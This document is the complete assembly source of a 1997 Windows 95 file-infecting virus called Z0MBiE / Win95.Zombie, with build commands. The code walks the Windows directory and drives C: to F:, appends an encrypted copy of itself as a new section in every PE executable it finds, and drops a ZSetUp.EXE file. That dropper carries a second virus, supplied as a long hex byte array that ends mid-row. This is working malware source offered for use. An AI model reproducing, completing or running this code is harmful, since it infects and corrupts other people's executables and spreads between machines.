; in the PE header, sets an entry point to it, and appends a copy of the
|
||||
; encrypted code at the file end which is within the limits of the region
|
||||
; of this segment section. After infecting the logical drive, the virus
|
||||
; creates a dropper file ZSetUp.EXE in the root directory and assigns it
|
||||
; ARCHIVE and SYSTEM attributes. In this file, Win95.Zombie plants a
|
||||
; Zombie.1922 virus code. The virus contains a few text strings:
|
||||
;
|
||||
; Z0MBiE 1.01 (c) 1997
|
||||
; My 2nd virii for mustdie
|
||||
; Tnx to S.S.R.
|
||||
;
|
||||
; Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE
|
||||
; Tnx to S.S.R.
|
||||
; ShadowRAM/Virtual Process Infector
|
||||
; ShadowRAM Technology (c) 1996,97 Z0MBiE
|
||||
;
|
||||
; code................1398
|
||||
; viriisize...........4584
|
||||
; virtsize............8936
|
||||
;
|
||||
; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
;
|
||||
;
|
||||
; Compiling it
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
; tasm32 -ml -m5 -q -zn zombie.asm
|
||||
; tlink32 -Tpe -c -x -aa zombie.obj,,, import32.lib
|
||||
; pewrsec zombie.exe
|
||||
;
|
||||
; - -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
.386
|
||||
locals
|
||||
jumps
|
||||
.model flat
|
||||
|
||||
extrn ExitProcess:PROC
|
||||
extrn MessageBoxA:PROC
|
||||
|
||||
kernel equ 0BFF70000H
|
||||
|
||||
FILE_ID equ 'Z0'
|
||||
PORT_ID equ 'Z'
|
||||
|
||||
.data
|
||||
|
||||
sux db 'mustdie'
|
||||
|
||||
.code
|
||||
start:
|
||||
call codestart
|
||||
|
||||
lea ebp, [eax - 401000H]
|
||||
lea edx, codestart[ebp]
|
||||
cryptn equ (viriisize-decrsize+3) / 4
|
||||
mov ecx, cryptn
|
||||
@@1: neg dword ptr [edx]
|
||||
xor dword ptr [edx], 12345678h
|
||||
xorword equ dword ptr $-4
|
||||
sub edx, -4
|
||||
loop @@1
|
||||
jmp codestart
|
||||
|
||||
align 4
|
||||
decrsize equ $-start
|
||||
|
||||
codestart: lea ebp, [eax - 401000H]
|
||||
sub eax, 12345678h
|
||||
subme equ dword ptr $-4
|
||||
push eax
|
||||
|
||||
call analizekernel
|
||||
|
||||
call first
|
||||
|
||||
in al, 81h
|
||||
cmp al, PORT_ID
|
||||
je exit_to_program
|
||||
|
||||
in al, 80h
|
||||
cmp al, PORT_ID
|
||||
je infect
|
||||
|
||||
mov al, PORT_ID
|
||||
out 80h, al
|
||||
|
||||
call ExecExe
|
||||
|
||||
exit_to_program: ret
|
||||
|
||||
infect: mov al, -1
|
||||
out 80h, al
|
||||
|
||||
; call _GetModuleHandleA
|
||||
; push 9
|
||||
; push eax
|
||||
; call _SetPriorityClass
|
||||
|
||||
; infect windows directory
|
||||
|
||||
lea edx, infdir[ebp]
|
||||
call getwindir
|
||||
lea edx, infdir[ebp]
|
||||
call setdir
|
||||
call infectdir
|
||||
|
||||
; recursive infect
|
||||
|
||||
lea edx, drive_c[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_d[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_e[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
lea edx, drive_f[ebp]
|
||||
call recinfect1st
|
||||
call createsetup
|
||||
|
||||
mov al, PORT_ID
|
||||
out 81h, al
|
||||
|
||||
exit_to_mustdie: push -1
|
||||
call _ExitProcess
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ subprograms ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
createsetup: lea edx, zsetup[ebp]
|
||||
call createfile
|
||||
|
||||
lea edx, z[ebp]
|
||||
mov ecx, z_size
|
||||
call writefile
|
||||
|
||||
call closefile
|
||||
|
||||
ret
|
||||
|
||||
first: pop edi
|
||||
mov byte ptr [edi-5], 0b9h ; mov ecx, xxxxxxxx
|
||||
mov byte ptr start[ebp], 0b9h
|
||||
|
||||
call infectfile
|
||||
jmp exit_to_mustdie
|
||||
|
||||
ExecExe: call _GetCommandLineA
|
||||
SW_NORMAL equ 1
|
||||
push SW_NORMAL
|
||||
push eax
|
||||
call _WinExec
|
||||
ret
|
||||
|
||||
recinfect1st: call setdir
|
||||
|
||||
recinfect: call infectdir
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, dirfiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
mov edi, eax
|
||||
inc eax
|
||||
jz @@nomorefiles
|
||||
|
||||
@@processfile: lea eax, fileattr[ebp]
|
||||
mov al, [eax]
|
||||
cmp al, 10h ; directory ?
|
||||
jne @@findnext
|
||||
|
||||
lea edx, fullname[ebp]
|
||||
cmp byte ptr [edx], '.'
|
||||
je @@findnext
|
||||
call setdir
|
||||
|
||||
push edi
|
||||
lea edx, fullname[ebp]
|
||||
call recinfect
|
||||
pop edi
|
||||
|
||||
lea edx, prev_dir[ebp]
|
||||
call setdir
|
||||
|
||||
@@findnext: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push edi
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@processfile
|
||||
|
||||
@@nomorefiles: ret
|
||||
|
||||
nokerneldll:
|
||||
nofunction:
|
||||
exit: jmp $
|
||||
|
||||
analizekernel: mov esi, kernel
|
||||
@@1: ; cmp esi, kernel + 040000h
|
||||
; ja nokernelfunc
|
||||
lea edi, kernel_sign[ebp]
|
||||
mov ecx, kernel_sign_size
|
||||
rep cmpsb
|
||||
jne @@1
|
||||
|
||||
kernelfound: sub esi, kernel_sign_size
|
||||
mov kernel_call[ebp], esi
|
||||
|
||||
mov esi, kernel
|
||||
lodsw
|
||||
cmp ax, 'ZM'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 003Ch-2
|
||||
lodsd
|
||||
|
||||
lea esi, [esi + eax - 3ch - 4]
|
||||
lodsd
|
||||
cmp eax, 'EP'
|
||||
jne nokerneldll
|
||||
|
||||
add esi, 78h-4 ; esi=.edata
|
||||
|
||||
lodsd
|
||||
add eax, kernel + 10h
|
||||
xchg esi, eax
|
||||
|
||||
lodsd
|
||||
lodsd
|
||||
lodsd
|
||||
mov funcnum[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov entrypointptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov nameptr[ebp], eax
|
||||
|
||||
lodsd
|
||||
add eax, kernel
|
||||
mov ordinalptr[ebp], eax
|
||||
|
||||
lea edx, names[ebp]
|
||||
lea edi, fns[ebp]
|
||||
|
||||
@@1: push edi
|
||||
call findfunction
|
||||
pop edi
|
||||
|
||||
inc edi ; 68
|
||||
stosd
|
||||
add edi, 6 ; jmp kernel_call[ebp]
|
||||
|
||||
mov edx, esi
|
||||
|
||||
cmp byte ptr [esi], 0
|
||||
jne @@1
|
||||
|
||||
ret
|
||||
|
||||
findfunction: mov ecx, 12345678h
|
||||
funcnum equ dword ptr $-4
|
||||
xor ebx, ebx
|
||||
|
||||
findnextfunc: mov esi, edx
|
||||
|
||||
mov edi, [ebx + 12345678h]
|
||||
nameptr equ dword ptr $-4
|
||||
add edi, kernel
|
||||
|
||||
@@2: cmpsb
|
||||
jne @@1
|
||||
|
||||
cmp byte ptr [esi-1], 0
|
||||
jne @@2
|
||||
|
||||
; found
|
||||
|
||||
shr ebx, 1
|
||||
movzx eax, word ptr [ebx + 12345678h]
|
||||
ordinalptr equ dword ptr $-4
|
||||
shl eax, 2
|
||||
mov eax, [eax + 12345678h]
|
||||
entrypointptr equ dword ptr $-4
|
||||
add eax, kernel
|
||||
|
||||
ret
|
||||
|
||||
@@1: add ebx, 4
|
||||
loop findnextfunc
|
||||
|
||||
jmp nofunction
|
||||
|
||||
|
||||
infectdir: lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
lea eax, exefiles[ebp]
|
||||
push eax
|
||||
call _FindFirstFileA
|
||||
|
||||
mov searchhandle[ebp], eax
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
@@next: call infectfile
|
||||
|
||||
lea eax, win32_data_thang[ebp]
|
||||
push eax
|
||||
push 12345678h
|
||||
searchhandle equ dword ptr $-4
|
||||
call _FindNextFileA
|
||||
|
||||
or eax, eax
|
||||
jnz @@next
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; input: ECX=file attr
|
||||
; EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
openfile: push 0
|
||||
push ecx
|
||||
push 3 ; OPEN_EXISTING
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
; input: EDX=file
|
||||
; output: EAX=handle
|
||||
|
||||
createfile: push 0
|
||||
push ecx
|
||||
push 1 ; CREATE
|
||||
push 0
|
||||
push 0
|
||||
push 80000000h + 40000000h
|
||||
push edx
|
||||
call _CreateFileA
|
||||
mov handle[ebp], eax
|
||||
ret
|
||||
|
||||
seekfile: push 0
|
||||
push 0
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _SetFilePointer
|
||||
ret
|
||||
|
||||
closefile: push handle[ebp]
|
||||
call _CloseHandle
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
readfile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _ReadFile
|
||||
ret
|
||||
|
||||
; input: ECX=bytes to read
|
||||
; EDX=buf
|
||||
|
||||
writefile: push 0
|
||||
lea eax, bytesread[ebp]
|
||||
push eax
|
||||
push ecx
|
||||
push edx
|
||||
push handle[ebp]
|
||||
call _WriteFile
|
||||
ret
|
||||
|
||||
; input: EDX=offset directory (256 byte)
|
||||
|
||||
getdir: cld
|
||||
push edx
|
||||
push 255
|
||||
call _GetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
; input: EDX=directory
|
||||
|
||||
setdir: push edx
|
||||
call _SetCurrentDirectoryA
|
||||
ret
|
||||
|
||||
getwindir: cld
|
||||
push 255
|
||||
push edx
|
||||
call _GetWindowsDirectoryA
|
||||
ret
|
||||
|
||||
infectfile: in al, 82h
|
||||
cmp al, PORT_ID
|
||||
jne @@continue
|
||||
|
||||
lea eax, fullname[ebp]
|
||||
cmp dword ptr [eax], 'BM0Z'
|
||||
jne @@exit
|
||||
|
||||
@@continue: mov ecx, fileattr[ebp]
|
||||
lea edx, fullname[ebp]
|
||||
call openfile
|
||||
|
||||
inc eax
|
||||
jz @@exit
|
||||
|
||||
; goto the dword that stores the location of the pe header
|
||||
|
||||
mov edx, 3Ch
|
||||
call seekfile
|
||||
|
||||
; read in the location of the pe header
|
||||
|
||||
mov ecx, 4
|
||||
lea edx, peheaderoffset[ebp]
|
||||
call readfile
|
||||
|
||||
; goto the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in enuff to calculate the full size of the pe header and object table
|
||||
|
||||
mov ecx, 256
|
||||
lea edx, peheader[ebp]
|
||||
call readfile
|
||||
|
||||
; make sure it is a pe header and is not already infected
|
||||
cmp dword ptr peheader[ebp],'EP'
|
||||
jne @@close
|
||||
cmp word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
je @@close
|
||||
cmp dword ptr peheader[ebp] + 52, 00400000h
|
||||
jne @@close
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; read in the whole pe header and object table
|
||||
lea edx, peheader[ebp]
|
||||
mov ecx, headersize[ebp]
|
||||
cmp ecx, maxbufsize
|
||||
ja @@close
|
||||
call readfile
|
||||
|
||||
mov word ptr peheader[ebp] + 4ch, FILE_ID
|
||||
|
||||
; locate offset of object table
|
||||
xor eax, eax
|
||||
mov ax, NtHeaderSize[ebp]
|
||||
add eax, 18h
|
||||
mov objecttableoffset[ebp],eax
|
||||
|
||||
; calculate the offset of the last (null) object in the object table
|
||||
mov esi, objecttableoffset[ebp]
|
||||
lea eax, peheader[ebp]
|
||||
add esi, eax
|
||||
xor eax, eax
|
||||
mov ax, numObj[ebp]
|
||||
mov ecx, 40
|
||||
xor edx, edx
|
||||
mul ecx
|
||||
add esi, eax
|
||||
|
||||
inc numObj[ebp] ; inc the number of objects
|
||||
|
||||
lea edi, newobject[ebp]
|
||||
xchg edi,esi
|
||||
|
||||
; calculate the Relative Virtual Address (RVA) of the new object
|
||||
|
||||
mov eax, [edi-5*8+8]
|
||||
add eax, [edi-5*8+12]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov RVA[ebp], eax
|
||||
|
||||
; calculate the physical size of the new object
|
||||
mov ecx, filealign[ebp]
|
||||
mov eax, viriisize
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicalsize[ebp],eax
|
||||
|
||||
; calculate the virtual size of the new object
|
||||
mov ecx, objalign[ebp]
|
||||
mov eax, virtsize
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov virtualsize[ebp],eax
|
||||
|
||||
; calculate the physical offset of the new object
|
||||
mov eax,[edi-5*8+20]
|
||||
add eax,[edi-5*8+16]
|
||||
mov ecx, filealign[ebp]
|
||||
xor edx,edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov physicaloffset[ebp],eax
|
||||
|
||||
; update the image size (the size in memory) of the file
|
||||
mov eax, virtsize
|
||||
add eax, imagesize[ebp]
|
||||
mov ecx, objalign[ebp]
|
||||
xor edx, edx
|
||||
div ecx
|
||||
inc eax
|
||||
mul ecx
|
||||
mov imagesize[ebp],eax
|
||||
|
||||
; copy the new object into the object table
|
||||
mov ecx, 40/4
|
||||
rep movsd
|
||||
|
||||
; calculate the entrypoint RVA
|
||||
mov eax, RVA[ebp]
|
||||
|
||||
mov ebx, entrypointRVA[ebp]
|
||||
mov entrypointRVA[ebp], eax
|
||||
|
||||
sub eax, ebx
|
||||
|
||||
; Set the value needed to return to the host
|
||||
mov subme[ebp], eax
|
||||
|
||||
; go back to the start of the pe header
|
||||
mov edx, peheaderoffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the pe header and object table to the file
|
||||
mov ecx, headersize[ebp]
|
||||
lea edx, peheader[ebp]
|
||||
call writefile
|
||||
|
||||
; move to the physical offset of the new object
|
||||
mov edx, physicaloffset[ebp]
|
||||
call seekfile
|
||||
|
||||
; write the virus code to the new object
|
||||
|
||||
call random
|
||||
mov xorword[ebp], eax
|
||||
|
||||
lea edx, start[ebp]
|
||||
mov ecx, decrsize
|
||||
call writefile
|
||||
|
||||
lea esi, codestart[ebp]
|
||||
lea edi, buf[ebp]
|
||||
mov ecx, cryptn
|
||||
@@1: lodsd
|
||||
xor eax, xorword[ebp]
|
||||
neg eax
|
||||
stosd
|
||||
loop @@1
|
||||
|
||||
lea edx, buf[ebp]
|
||||
mov ecx, viriisize-decrsize
|
||||
call writefile
|
||||
|
||||
@@close: call closefile
|
||||
|
||||
@@exit: ret
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ 32-bit random number generator ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
; output: eax=rnd
|
||||
; zf=rnd(2)
|
||||
|
||||
random: call random16bit
|
||||
shl eax, 16
|
||||
|
||||
random16bit: push ebx
|
||||
mov bx, 1234h
|
||||
rndword equ word ptr $-2
|
||||
in al, 40h
|
||||
xor bl, al
|
||||
in al, 40h
|
||||
add bh, al
|
||||
in al, 41h
|
||||
sub bl, al
|
||||
in al, 41h
|
||||
xor bh, al
|
||||
in al, 42h
|
||||
add bl, al
|
||||
in al, 42h
|
||||
sub bh, al
|
||||
mov rndword[ebp], bx
|
||||
xchg bx, ax
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
; input: eax
|
||||
; output: eax=rnd(eax)
|
||||
; zf=rnd(2)
|
||||
|
||||
rnd: push ebx
|
||||
push edx
|
||||
xchg ebx, eax
|
||||
call random
|
||||
xor edx, edx
|
||||
div ebx
|
||||
xchg edx, eax
|
||||
pop edx
|
||||
pop ebx
|
||||
test al, 1
|
||||
ret
|
||||
|
||||
|
||||
codesize equ $-start
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ data area ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
kernel_sign: pushfd ; <- kernel
|
||||
cld
|
||||
push eax
|
||||
push ebx
|
||||
push edx
|
||||
kernel_sign_size equ $-kernel_sign
|
||||
|
||||
kernel_call dd ?
|
||||
|
||||
names: db 'ExitProcess',0
|
||||
db 'FindFirstFileA',0
|
||||
db 'FindNextFileA',0
|
||||
db 'CreateFileA',0
|
||||
db 'SetFilePointer',0
|
||||
db 'ReadFile',0
|
||||
db 'WriteFile',0
|
||||
db 'CloseHandle',0
|
||||
db 'GetCurrentDirectoryA',0
|
||||
db 'SetCurrentDirectoryA',0
|
||||
db 'GetWindowsDirectoryA',0
|
||||
db 'GetCommandLineA',0
|
||||
db 'WinExec',0
|
||||
db 'SetPriorityClass',0
|
||||
db 'GetModuleHandleA',0
|
||||
db 0
|
||||
|
||||
fns:
|
||||
def_fn macro name
|
||||
_&name&: db 68h
|
||||
fn_&name& dd ?
|
||||
jmp kernel_call[ebp]
|
||||
endm
|
||||
|
||||
def_fn ExitProcess
|
||||
def_fn FindFirstFileA
|
||||
def_fn FindNextFileA
|
||||
def_fn CreateFileA
|
||||
def_fn SetFilePointer
|
||||
def_fn ReadFile
|
||||
def_fn WriteFile
|
||||
def_fn CloseHandle
|
||||
def_fn GetCurrentDirectoryA
|
||||
def_fn SetCurrentDirectoryA
|
||||
def_fn GetWindowsDirectoryA
|
||||
def_fn GetCommandLineA
|
||||
def_fn WinExec
|
||||
def_fn SetPriorityClass
|
||||
def_fn GetModuleHandleA
|
||||
|
||||
bytesread dd ?
|
||||
|
||||
drive_c db 'C:\',0
|
||||
drive_d db 'D:\',0
|
||||
drive_e db 'E:\',0
|
||||
drive_f db 'F:\',0
|
||||
|
||||
exefiles db '*.EXE',0
|
||||
dirfiles db '*.',0
|
||||
|
||||
prev_dir db '..',0
|
||||
|
||||
win32_data_thang:
|
||||
fileattr dd 0
|
||||
createtime dd 0,0
|
||||
lastaccesstime dd 0,0
|
||||
lastwritetime dd 0,0
|
||||
filesize dd 0,0
|
||||
resv dd 0,0
|
||||
fullname db 'Z0MB.EXE',256-8 dup (0)
|
||||
realname db 256 dup (0)
|
||||
|
||||
handle dd ?
|
||||
|
||||
peheaderoffset dd ?
|
||||
objecttableoffset dd ?
|
||||
|
||||
newobject: ;1234567 8
|
||||
oname db '.Z0MBiE',0
|
||||
virtualsize dd 0
|
||||
RVA dd 0
|
||||
physicalsize dd 0
|
||||
physicaloffset dd 0
|
||||
reserved dd 0,0,0
|
||||
objectflags db 40h,0,0,0c0h
|
||||
|
||||
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ messages ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||||
|
||||
db 13,10,'Z0MBiE 1.01 (c) 1997',13,10
|
||||
db 'My 2nd virii for mustdie',13,10
|
||||
db 'Tnx to S.S.R.',13,10
|
||||
|
||||
m1 macro n
|
||||
if n ge 100000
|
||||
db n / 10000/10 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 10000
|
||||
db n / 10000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
if n ge 1000
|
||||
db n / 1000 mod 10 + '0'
|
||||
else
|
||||
db '.'
|
||||
endif
|
||||
db n / 100 mod 10 + '0'
|
||||
db n / 10 mod 10 + '0'
|
||||
db n / 1 mod 10 + '0',13,10
|
||||
endm
|
||||
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
zsetup db '\ZSetUp.EXE',0
|
||||
z:
|
||||
include z.inc ; Z0MBiE.1922
|
||||
z_size equ $-z
|
||||
; ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
|
||||
db 13,10
|
||||
db 'code..............'
|
||||
m1 codesize
|
||||
db 'viriisize.........'
|
||||
m1 viriisize
|
||||
db 'virtsize..........'
|
||||
m1 virtsize
|
||||
|
||||
peheader:
|
||||
signature dd 0
|
||||
cputype dw 0
|
||||
numObj dw 0
|
||||
dd 3 dup (0)
|
||||
NtHeaderSize dw 0
|
||||
Flags dw 0
|
||||
dd 4 dup (0)
|
||||
entrypointRVA dd 0
|
||||
dd 3 dup (0)
|
||||
objalign dd 0
|
||||
filealign dd 0
|
||||
dd 4 dup (0)
|
||||
imagesize dd 0
|
||||
headersize dd 0
|
||||
peheader_size equ $-peheader
|
||||
|
||||
align 4
|
||||
viriisize equ $-start
|
||||
|
||||
infdir db 256 dup (?)
|
||||
|
||||
maxbufsize equ 4096
|
||||
buf db maxbufsize dup (?)
|
||||
|
||||
virtsize equ $-start
|
||||
end start
|
||||
|
||||
; - -[Z.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
|
||||
|
||||
abc_size equ 1922 ; size in bytes
|
||||
abc_num equ 1922 ; size in elements
|
||||
|
||||
abc db 0e9h,010h,001h,026h,0a0h,028h,000h,0f6h,0d0h,02eh,030h,006h,022h,001h
|
||||
db 0beh,02bh,001h,08bh,0feh,0b9h,008h,000h,02eh,0ach,040h,0d1h,0e3h,00bh,0d8h
|
||||
db 0e2h,0f7h,02eh,088h,01dh,047h,081h,0ffh,0adh,008h,075h,0eah,0ebh,000h,0e8h
|
||||
db 056h,006h,0b8h,081h,0f0h,0cdh,013h,03dh,08ch,092h,074h,003h,0e8h,0d8h,000h
|
||||
db 08ch,0c1h,083h,0c1h,010h,0b8h,034h,012h,003h,0c1h,08eh,0d0h,0bch,034h,012h
|
||||
db 0b8h,034h,012h,003h,0c1h,050h,068h,034h,012h,033h,0c0h,0cbh,053h,0bbh,034h
|
||||
db 012h,0e4h,040h,032h,0d8h,0e4h,040h,002h,0f8h,0e4h,041h,02ah,0d8h,0e4h,041h
|
||||
db 032h,0f8h,0e4h,042h,002h,0d8h,0e4h,042h,02ah,0f8h,02eh,089h,01eh,058h,001h
|
||||
db 093h,05bh,0a8h,001h,0c3h,053h,052h,093h,0e8h,0d4h,0ffh,033h,0d2h,0f7h,0f3h
|
||||
db 092h,05ah,05bh,0a8h,001h,0c3h,051h,0b1h,059h,0e8h,04eh,000h,02eh,088h,02eh
|
||||
db 0afh,001h,041h,0e8h,045h,000h,02eh,088h,02eh,0b5h,001h,041h,0e8h,03ch,000h
|
||||
db 02eh,088h,02eh,0bbh,001h,059h,0c3h,090h,051h,0b9h,059h,000h,0e8h,03ah,000h
|
||||
db 041h,0b5h,012h,0e8h,034h,000h,041h,0b5h,012h,0e8h,02eh,000h,059h,0c3h,051h
|
||||
db 0b1h,059h,02eh,08ah,02eh,0afh,001h,080h,0e5h,08fh,080h,0cdh,030h,0e8h,01bh
|
||||
db 000h,041h,0b5h,033h,0e8h,015h,000h,041h,0b5h,033h,0e8h,00fh,000h,059h,0c3h
|
||||
db 066h,050h,052h,0e8h,014h,000h,0ech,08ah,0e8h,05ah,066h,058h,0c3h,066h,050h
|
||||
db 052h,0e8h,007h,000h,08ah,0c5h,0eeh,05ah,066h,058h,0c3h,066h,0b8h,000h,000h
|
||||
db 000h,080h,08ah,0c1h,024h,0fch,0bah,0f8h,00ch,066h,0efh,080h,0c2h,004h,08ah
|
||||
db 0c1h,024h,003h,002h,0d0h,0c3h,01eh,006h,00eh,01fh,0fah,0fch,0e8h,070h,0ffh
|
||||
db 0a0h,0afh,001h,0feh,0c0h,074h,058h,0e8h,0b8h,000h,075h,053h,0e8h,053h,000h
|
||||
db 074h,00bh,0e8h,074h,000h,074h,006h,0e8h,07ch,000h,074h,001h,0c3h,0e8h,086h
|
||||
db 0ffh,0b8h,042h,000h,0e8h,03bh,0ffh,003h,0e8h,083h,0c5h,00fh,083h,0e5h,0f0h
|
||||
db 0c1h,0edh,004h,08ch,0c0h,003h,0c5h,02dh,010h,000h,08eh,0c0h,0bfh,000h,001h
|
||||
db 0c6h,006h,082h,008h,0eah,0c7h,006h,083h,008h,017h,003h,08ch,006h,085h,008h
|
||||
db 08ch,006h,0b6h,005h,0beh,000h,001h,0b9h,007h,008h,0f3h,0a4h,0e8h,035h,003h
|
||||
db 0e8h,032h,0ffh,033h,0c0h,007h,01fh,0c3h,068h,000h,0c0h,007h,033h,0ffh,032h
|
||||
db 0d2h,026h,08ah,075h,002h,0d1h,0e2h,073h,002h,0b6h,080h,081h,0eah,069h,008h
|
||||
db 033h,0c0h,08bh,0efh,0b9h,025h,004h,0f3h,0afh,074h,004h,03bh,0fah,076h,0f3h
|
||||
db 0c3h,0b8h,030h,011h,0b7h,002h,0cdh,010h,08ch,0c0h,03dh,000h,0c0h,0c3h,068h
|
||||
db 000h,0c0h,007h,033h,0ffh,0b9h,00eh,000h,032h,0c0h,0f3h,0aeh,075h,015h,0b9h
|
||||
db 010h,000h,0f3h,0aeh,026h,081h,07dh,0ffh,07eh,081h,075h,008h,026h,081h,07dh
|
||||
db 00dh,07eh,0ffh,074h,006h,081h,0ffh,000h,0f0h,076h,0dch,08bh,0efh,0c3h,0b4h
|
||||
db 013h,0cdh,02fh,08ch,0c1h,02eh,089h,01eh,02bh,003h,02eh,08ch,006h,02dh,003h
|
||||
db 0cdh,02fh,081h,0f9h,000h,0f0h,0c3h,03dh,081h,0f0h,074h,019h,03dh,000h,04bh
|
||||
db 074h,00fh,080h,0fch,043h,074h,00ah,080h,0fch,03dh,074h,005h,0eah,000h,000h
|
||||
db 000h,000h,0e8h,048h,000h,0ebh,0f6h,0b8h,08ch,092h,0cfh,03dh,081h,0f0h,074h
|
||||
db 0f7h,0e8h,0a2h,0feh,0e8h,089h,002h,02eh,0a3h,05ch,005h,0e8h,082h,0feh,09ch
|
||||
db 09ah,000h,000h,000h,000h,09ch,0e8h,08eh,0feh,02eh,080h,03eh,05dh,005h,002h
|
||||
db 075h,00dh,026h,081h,03fh,04dh,05ah,075h,003h,0e8h,0e4h,001h,0e8h,012h,002h
|
||||
db 0e8h,060h,002h,0e8h,05dh,0feh,09dh,0cah,002h,000h,09ch,02eh,0ffh,01eh,00ah
|
||||
db 003h,0c3h,0e8h,065h,0feh,02eh,0c6h,006h,0abh,001h,0c3h,060h,01eh,006h,0fch
|
||||
db 0b8h,000h,03dh,0e8h,0e6h,0ffh,00fh,082h,066h,001h,093h,0b4h,03fh,00eh,01fh
|
||||
db 0bah,087h,008h,0b9h,040h,000h,0e8h,0d4h,0ffh,03bh,0c1h,00fh,085h,04dh,001h
|
||||
db 0a1h,087h,008h,03dh,04dh,05ah,074h,007h,03dh,05ah,04dh,00fh,085h,03eh,001h
|
||||
db 080h,03eh,099h,008h,069h,00fh,084h,035h,001h,0b8h,000h,042h,033h,0c9h,08bh
|
||||
db 016h,08fh,008h,0c1h,0e2h,004h,0e8h,0a7h,0ffh,0b4h,03fh,0bah,0bdh,003h,0b9h
|
||||
db 002h,000h,0e8h,09ch,0ffh,03bh,0c1h,00fh,085h,015h,001h,0b8h,034h,012h,040h
|
||||
db 00fh,084h,00dh,001h,053h,0b8h,020h,012h,0cdh,02fh,026h,08ah,01dh,0b8h,016h
|
||||
db 012h,0cdh,02fh,05bh,026h,08bh,055h,013h,026h,08bh,045h,011h,00ah,0c0h,00fh
|
||||
db 084h,0f5h,000h,0b9h,0e8h,003h,0f7h,0f1h,00bh,0d2h,00fh,084h,0eah,000h,026h
|
||||
db 0c7h,045h,002h,002h,000h,00eh,007h,0a1h,08bh,008h,048h,0b9h,000h,002h,0f7h
|
||||
db 0e1h,003h,006h,089h,008h,083h,0d2h,000h,08bh,0f0h,08bh,0fah,0b8h,002h,042h
|
||||
db 099h,033h,0c9h,0e8h,041h,0ffh,03bh,0c6h,00fh,085h,0bah,000h,03bh,0d7h,00fh
|
||||
db 085h,0b4h,000h,005h,00fh,000h,083h,0d2h,000h,024h,0f0h,02bh,0f0h,029h,036h
|
||||
db 089h,008h,050h,052h,0c1h,0e8h,004h,0c1h,0e2h,00ch,00bh,0c2h,02bh,006h,08fh
|
||||
